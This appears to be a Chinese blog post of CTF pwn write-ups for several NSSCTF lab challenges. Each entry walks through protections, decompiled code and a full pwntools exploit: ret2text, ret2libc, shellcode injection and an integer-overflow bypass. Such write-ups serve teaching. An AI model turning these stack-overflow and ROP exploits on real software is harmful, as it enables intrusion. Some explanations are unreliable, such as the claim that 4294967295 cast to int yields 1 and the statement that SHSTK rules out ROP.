本文最后更新于 2025-11-19T20:59:03+08:00
[GFCTF 2021]where_is_shell checksec一下
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位程序,有NX保护,栈不可执行,无法使用shellcode
查看源代码:
1 2 3 4 5 6 7 8 int __fastcall main (int argc, const char **argv, const char **envp) { _BYTE buf[16 ]; system("echo 'zltt lost his shell, can you find it?'" ); read(0 , buf, 0x38u LL); return 0 ; }
明显的栈溢出。
看到有system函数,可以想到调用system(“/bin/sh”)
尝试寻找”/bin/sh”串:
1 ROPgadget --binary shell --string "/bin/sh"
没有找到,那怎么办?
这里就需要一个新的知识点 :调用system(0)也可以达到拿到shell的效果 。
因为栈不可执行,所以我们不能写入0,只能找现有的。
查看函数tips():
1 2 3 4 __int64 tips () { return MEMORY[0x403569 ](); }
查看汇编,发现这里有一段机器码为:24 30 这个机器码对应着$0
1 .text:0000000000400540 E8 24 30 00 00 call near ptr 403569h
所以可以调用地址:0x400541来当作$0
偏移量:0x10 + 0x8
寻找system(),pop_rdi和ret的地址:
1 2 (gdb)p &system$ 1 = (<text variable, no debug info> *) 0x400430 <system@plt>
1 2 ROPgadget --binary shell --only "pop|ret" | grep rdi 0x00000000004005e3 : pop rdi ; ret
1 2 3 4 5 6 ROPgadget --binary shell --only "ret" Gadgets information ============================================================ 0x0000000000400416 : ret Unique gadgets found: 1
可知system函数,pop_rdi和ret的地址分别是0x400430,0x4005e3,0x400416
构造exp:
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context.log_level = 'debug' p = remote("node4.anna.nssctf.cn" ,28234 ) offset = 0x10 + 0x8 system_addr = 0x400430 ret_addr = 0x400416 sh_addr = 0x400541 pop_rdi = 0x4005e3 payload = offset * b'a' + p64(pop_rdi) + p64(sh_addr) + p64(ret_addr) + p64(system_addr) p.sendline(payload) p.interactive()
执行代码,拿到shell
[NSSCTF 2022 Spring Recruit]R3m4ke? checksec一下:
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位程序,NX开启,栈不可执行。
IDA查看源码
1 2 3 4 5 6 7 8 int __fastcall main (int argc, const char **argv, const char **envp) { _BYTE v4[32 ]; init(argc, argv, envp); NSS(); return gets(v4); }
明显栈溢出。
NSS函数就是显示一些无用信息,查看函数列表发现有个后门函数LookAtMe:
1 2 3 4 int LookAtMe () { return system("/bin/sh" ); }
直接给了shell,那就很好办了
偏移量:0x20 + 0x8
查找LookAtMe和ret的地址
1 2 (gdb)p &LookAtMe$ 1 = (<text variable, no debug info> *) 0x40072c <LookAtMe>
1 2 3 4 5 6 ROPgadget --binary r3m4ke1t --only "ret" Gadgets information ============================================================ 0x000000000040057e : ret Unique gadgets found: 1
地址分别是:0x40072c,0x40057e
构造exp:
1 2 3 4 5 6 7 8 9 from pwn import * context.log_level = 'debug' p = remote("node4.anna.nssctf.cn" ,28397 ) offset = 0x20 + 0x8 sh_addr = 0x40072c ret_addr = 0x40057e payload = offset * b'a' + p64(ret_addr) + p64(sh_addr) p.sendline(payload) p.interactive()
执行程序拿到shell。
[SWPUCTF 2022 新生赛]有手就行的栈溢出 checksec一下:
1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled #影子堆栈备份返回地址,函数返回时进行校验,防止ROP攻击 IBT: Enabled #间接分支跟踪,要求所有简介跳转的目标必须是一条函数指令。防止JOP/COP攻击 Stripped: No
64位二进制程序,NX开启,无法使用shellcode。SHSTK和IBT开启,无法使用ROP,JOP和COP攻击
查看源码:
1 2 3 4 5 6 7 int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); puts (s); overflow(); return 0 ; }
1 2 3 4 5 6 7 __int64 overflow () { _BYTE v1[32 ]; gets(v1); return 0LL ; }
1 2 3 4 5 6 __int64 gift () { puts ("Are you kidding?" ); puts ("system('/bin/sh')" ); return 0LL ; }
1 2 3 4 5 6 7 8 int fun () { char *argv[2 ]; argv[0 ] = "/bin/sh" ; argv[1 ] = 0LL ; return execve("/bin/sh" , argv, 0LL ); }
可以看到main函数调用了overflow函数,该函数包含危险函数gets,会导致引发栈溢出
存在两个后门:gift和fun。gift是一个假的调用shell的函数,而fun是真的,利用execve调用shell。
execve系统调用会用新的程序映像完全替换当前进程的内存空间,包括影子栈。这意味着在成功调用execve的瞬间,旧的、受保护的执行环境就被全新的环境所取代,影子栈的防御也就不复存在了,所以当看到有SHSTK保护机制时,利用系统调用execve是一个非常好的策略,本题是拿了一个简单的例子作为举例
计算偏移量:0x20 + 0x8
查找fun函数的地址:0x401257
1 2 pwndbg> p fun $ 1 = {<text variable, no debug info>} 0x401257 <fun>
查找ret地址:
1 2 3 4 5 6 ROPgadget --binary pwn --only "ret" Gadgets information ============================================================ 0x000000000040101a : ret Unique gadgets found: 1
查找到地址:0x40101a
编写exp:
1 2 3 4 5 6 7 8 9 from pwn import * context.log_level = 'debug' p = remote('node5.anna.nssctf.cn' ,21716 ) offset = 0x20 + 0x8 fun_addr = 0x401257 ret_addr = 0x40101a payload = offset * b'a' + p64(ret_addr) + p64(fun_addr) p.sendline(payload) p.interactive()
执行程序,成功拿到了shell
[SWPUCTF 2021 新生赛]whitegive_pwn checksec 一下
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位程序,NX保护开启
查看源码:
1 2 3 4 5 6 __int64 vuln () { _BYTE v1[16 ]; return gets(v1); }
看了一圈,没有system也没有/bin/sh
考虑用ret2libc求解
思路:利用puts函数泄露puts函数的真实地址(函数在got表中的地址),计算libc基地址后找到system和/bin/sh的地址
第一步:泄漏puts的真实地址
构造payload:
1 payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
64位的程序,函数的前6个参数存放在寄存器里。
这条汇编是将栈上下一个值(puts在got表中的地址)弹入rdi寄存器,ret跳转栈上指定的下一个地址(puts_plt_addr的值,因为在栈上被放在了puts_got_addr的后面)。汇编代码执行完后,下一个就是返回地址。所以返回main函数继续执行第二次攻击。
所以先写一个泄漏puts真实地址的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *from LibcSearcher import * context.log_level = 'debug' p = remote("node7.anna.nssctf.cn" ,28828 ) elf = ELF('./white_give' ) offset = 0x10 + 0x8 puts_plt_addr = elf.plt['puts' ] puts_got_addr = elf.got['puts' ] main_addr = 0x4006d6 pop_rdi = 0x400763 ret_addr = 0x400509 payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr) p.sendline(payload1) puts_addr = p.recvline()print (puts_addr) p.interactive()
拿到输出结果:
处理输出结果:
1 puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))
找到libc正确版本:
1 libc = LibcSearcher("puts" , puts_addr)
偏移地址:
1 2 3 libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) bin_sh_addr = libc_base + libc.dump('str_bin_sh' )
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import * context.log_level = 'debug' p = remote("node7.anna.nssctf.cn" ,28828 ) elf = ELF('./white_give' ) offset = 0x10 + 0x8 puts_plt_addr = elf.plt['puts' ] puts_got_addr = elf.got['puts' ] main_addr = 0x4006d6 pop_rdi = 0x400763 ret_addr = 0x400509 payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr) p.sendline(payload1) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc = LibcSearcher("puts" , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) bin_sh_addr = libc_base + libc.dump('str_bin_sh' ) payload2 = offset * b'a' + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr) p.sendline(payload2) p.interactive()
这道题远程环境有问题,本地能打通但是远程打不通……
[SWPUCTF 2022 新生赛]shellcode? Checksec 一下:
1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
64位程序,NX,PIE,SHSTK,IBT均开启,地址随机化,无法注入shellcode,ROP攻击无效。
查看源代码:
1 2 3 4 5 6 7 8 9 10 int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); mmap((void *)0x30303000 , 0x1000u LL, 7 , 50 , -1 , 0LL ); read(0 , (void *)0x30303000 , 0x64u LL); MEMORY[0x30303000 ](); return 0 ; }
分析代码可得,虽然NX保护开启,但是代码在内存中创建了一个具有RWX权限的新区域,绕过了NX检查,read函数和后面将内存区域当作函数进行调用的语句说明我们注入任意可执行代码的可行性。
思路:注入shellcode
编写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * context.arch = 'amd64' context.log_level = 'debug' REMOTE_HOST = 'node5.anna.nssctf.cn' REMOTE_PORT = 28411 shellcode = asm(shellcraft.sh()) shellcode = shellcode.ljust(100 , b'\x90' ) p = remote(REMOTE_HOST, REMOTE_PORT) p.send(shellcode) p.interactive()
执行程序,拿到flag
[SWPUCTF 2022 新生赛]Integer Overflow checksec一下:
1 2 3 4 5 6 7 8 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) SHSTK: Enabled IBT: Enabled Stripped: No
32位程序,NX开启,SHSTK开启,无法使用shellcode和ROP攻击
查看源代码:
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { init(&argc); puts ("Ohhhh you choose pwn!?" ); printf ("\x1B[32m Do you want to pwn the world with me!?\n\x1B[0m" ); overflow(); return 0 ; }
调用的函数overflow打开查看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int overflow () { int v1; puts ("1.yes" ); puts ("2.no" ); printf ("Tell me your choice:" ); __isoc99_scanf("%d" , &v1); if ( v1 != 1 ) { if ( v1 == 2 ) choice2(); elsechoice(); } choice1(); return 0 ; }
貌似没什么问题,查看别的函数看看?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ssize_t choice1 () { _BYTE buf[20 ]; size_t nbytes[2 ]; printf ("\x1B[36m Good luck!!!\n\x1B[0m" ); printf ("\x1B[5m Tell me your name now!\n\x1B[0m" ); printf ("First input the length of your name:" ); __isoc99_scanf("%u" , nbytes); if ( (int )nbytes[0 ] > 10 ) { printf ("\x1B[31m Are u kidding??\n\x1B[0m" ); exit (-1 ); } printf ("\x1B[36m What's u name?\n\x1B[0m" ); return read(0 , buf, nbytes[0 ]); }
这里发现问题了:size_t类型的无符号整数nbytes[0]输入后,会被转换成int类型与10进行比较,但是如果nbytes很大,在转换成int之后会发生回绕(因为int的范围只在-2147483648~2147483647之间)从而导致绕过检查。(整数溢出漏洞)
当nbytes[0]的值是2147483647*2+1 =4294967295 时,转换成int类型之后会变成1。这样会绕过(int)nbytes[0]>10的检查,但是read调用的仍然是size_t类型的无符号整数,所以read函数允许输入的字节长度就变成了4294967295,很轻松的构造出了栈溢出的条件。
exp编写:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context.log_level = 'debug' p = remote('node5.anna.nssctf.cn' ,21302 ) offset = 0x20 + 0x4 system_addr = 0x8049100 binsh_addr = 0x0804a008 p.recvuntil(b'choice:' ) p.sendline(b'1' ) p.sendlineafter('name:' ,'4294967295' ) payload = offset * b'a' + p32(system_addr) + p32(0 ) + p32(binsh_addr) p.sendline(payload) p.interactive()
执行程序,拿到shell
[SWPUCTF 2022 新生赛]Darling 查看源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __fastcall main (int argc, const char **argv, const char **envp) { _DWORD v4[2 ]; int v5; unsigned __int64 v6; v6 = __readfsqword(0x28u ); init(argc, argv, envp); pic(); darling(); puts ("There may be many uncertainties in the world, but the only certainty is my love for you.\n" ); v4[1 ] = 20020819 ; srand(0x1317E53u ); v5 = rand() % 100 - 64 ; __isoc99_scanf("%d" , v4); if ( v5 == v4[0 ] ) backdoor(); else puts ("Oh :( , you didn't get my love" ); return 0 ; }
backdoor函数直接把shell给我们了
1 2 3 4 int backdoor () { return system("/bin/sh" ); }
分析代码,发现随机数是固定的,这是个伪随机数,所以只要枚举每个可能的值就可以了
Exp查找符合的值:
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context.log_level = 'debug' for v5 in range (-64 ,36 ): p = remote('node5.anna.nssctf.cn' ,20135 ) p.sendline(str (v5).encode()) response = p.recvline() if b'Oh :(' not in response: rand = v5 break print (rand) p.close()
暴力枚举,最后发现17符合条件,输入拿到flag
[SWPUCTF 2023 秋季新生赛]签到 checksec一下
1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
64位程序,NX开启,SHSTK和IBT开启。
查看源代码
1 2 3 4 5 6 7 ssize_t vuln () { _BYTE buf[48 ]; printf ("input:" ); return read(0 , buf, 0xC8u LL); }
有后门:
1 2 3 4 int backdoor () { return system("/bin/sh" ); }
明显是栈溢出。
偏移量:0x30 + 0x8
backdoor的地址:0x401232
1 2 objdump -t sign | grep backdoor 0000000000401232 g F .text 0000000000000017 backdoor
ret的地址:0x40101a
1 2 3 4 5 6 ROPgadget --binary sign --only "ret" Gadgets information ============================================================ 0x000000000040101a : ret Unique gadgets found: 1
编写exp:
1 2 3 4 5 6 7 8 9 from pwn import * context.log_level = 'debug' p = remote('node4.anna.nssctf.cn' ,28288 ) offset = 0x30 + 0x8 ret_addr = 0x40101a backdoor_addr = 0x401232 payload = offset * b'a' + p64(ret_addr) + p64(backdoor_addr) p.sendline(payload) p.interactive()
执行程序拿到shell,真是签到题啊这么简单。